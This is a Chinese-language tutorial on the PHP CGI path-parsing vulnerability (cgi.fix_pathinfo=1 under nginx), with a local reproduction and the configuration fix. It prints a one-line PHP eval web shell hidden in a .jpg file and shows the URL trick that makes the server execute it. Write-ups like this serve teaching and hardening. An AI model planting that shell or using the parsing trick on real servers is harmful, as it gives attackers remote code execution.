

CGI解析漏洞

漏洞介绍

`http://www.xxx.com/x.jpg/x.php` 的时候, 如果 `x.php` 不存在, `php` 就会向前解析, 如果 `x.jpg` 存在, 会把 `x.jpg` 当作 `php` 文件解析, 这样就产生了漏洞

漏洞原理

1、首先了解PHP和Apache的三种结合方式:

(1) Module模式: PHP作为Apache的模块, PHP进程和Apache进程合一块

(2) CGI模式: CGI一般是可执行程序, 例如exe文件, 每次都fork一个进程来运行外部的exe文件, 并且只能处理一个用户请求, 处理完成就会退出. 当用户请求数量非常多时, 会频繁的fork进程和退出进程, 占用大量系统的资源效能低下. 每次fork PHP进程独立运行处理.

(3) FastCGI模式: 在web服务器启动时候, FastCGI处理进程就开启而且不会退出. 接收到请求后, 服务器通过TCP或者本地socket直接把内容传递给FastCGI进程, 常驻内存不需要每次都fork进程

2、PHP配置文件中有一个参数是`cgi.fix_pathinfo`, 如果参数`cgi.fix_pathinfo=1`, 则产生该漏洞

3、location对请求进行选择的时候会使用URI环境变量进行选择, 其中传递到后端Fastcgi的关键变量`SCRIPT_FILENAME`由nginx生成的`$fastcgi_script_name`决定, 而通过分析可以看到`$fastcgi_script_name`是直接由URI环境变量控制的, 这里就是产生问题的点. 而为了更好的支持PATH_INFO的提取, 在PHP的配置选项里存在`cgi.fix_pathinfo`选项, 其目的是为了从`SCRIPT_FILENAME`里取出真正的脚本名。

漏洞复现

1、打开php.ini文件设置`cgi.fix_pathinfo=1`

```
; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI. PHP's
; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok
; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting
; this to 1 will cause PHP CGI to fix its paths to conform to the spec. A setting
; of zero causes PHP to behave as before. Default is 1. You should fix your scripts
; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.
; http://php.net/cgi.fix-pathinfo
;cgi.fix_pathinfo=1
cgi.fix_pathinfo=1
```

2、在此目录下`phpinfo.php`文件存在, 因为`1.jpg`不存在所以`php`就会向前解析, 导致漏洞

访问 `http://127.0.0.1/phpinfo.php/1.jpg`

127.0.0.1/phpinfo.php/1.jpg

PHP Version 5.5.38

System	Windows NT DAOER 6.2 build 9200 (Windows 8 Hom
Build Date	Jul 20 2016 11:08:49
Compiler	MSVC11 (Visual C++ 2012)
Architecture	x86

2、在nginx作为服务器的话，如果存在1.jpg文件，是一个图片木马，但是123.php文件不存在，访问 <http://127.0.0.1/1.jpg/123.php> 则1.jpg会被当成php文件解析

The screenshot shows a web browser window with the address bar displaying `127.0.0.1/phpinfo.php/1.jpg`. The main content area shows a PHP error message: `<?php @eval($_POST[1]); ?>`. A red box highlights this code, and a red arrow points to it with the text "内容为一句话木马" (Content is a one-line木马). Below the error message, a file explorer window shows the contents of the `1.jpg` file. The file explorer lists several files: `1.jpg`, `index.php`, `l.php`, and `phpinfo.php`. The `1.jpg` file is highlighted with a red box, and a red arrow points to it with the text "存在1.jpg" (1.jpg exists). The file explorer also shows the file's metadata: `length: 28`, `lines: 3`, `Ln: 2`, `Col: 2`, `Pos: 9`, `Windows (CR LF)`, `UTF-8`, and `IN`.

名称	日期	大小	属性
1.jpg	2022-03-20 22:14:00	28 b	0666
index.php	2022-03-03 18:03:31	40 b	0666
l.php	2017-04-20 16:49:26	20.68 Kb	0666
phpinfo.php	2013-05-09 20:56:36	23 b	0666
upload.html	2022-03-16 21:15:15	515 b	0666
upload.php	2022-03-17 13:52:17	818 b	0666

漏洞修复

- 1、将`cgi.fix_pathinfo=1`，注释掉或者`cgi.fix_pathinfo=0`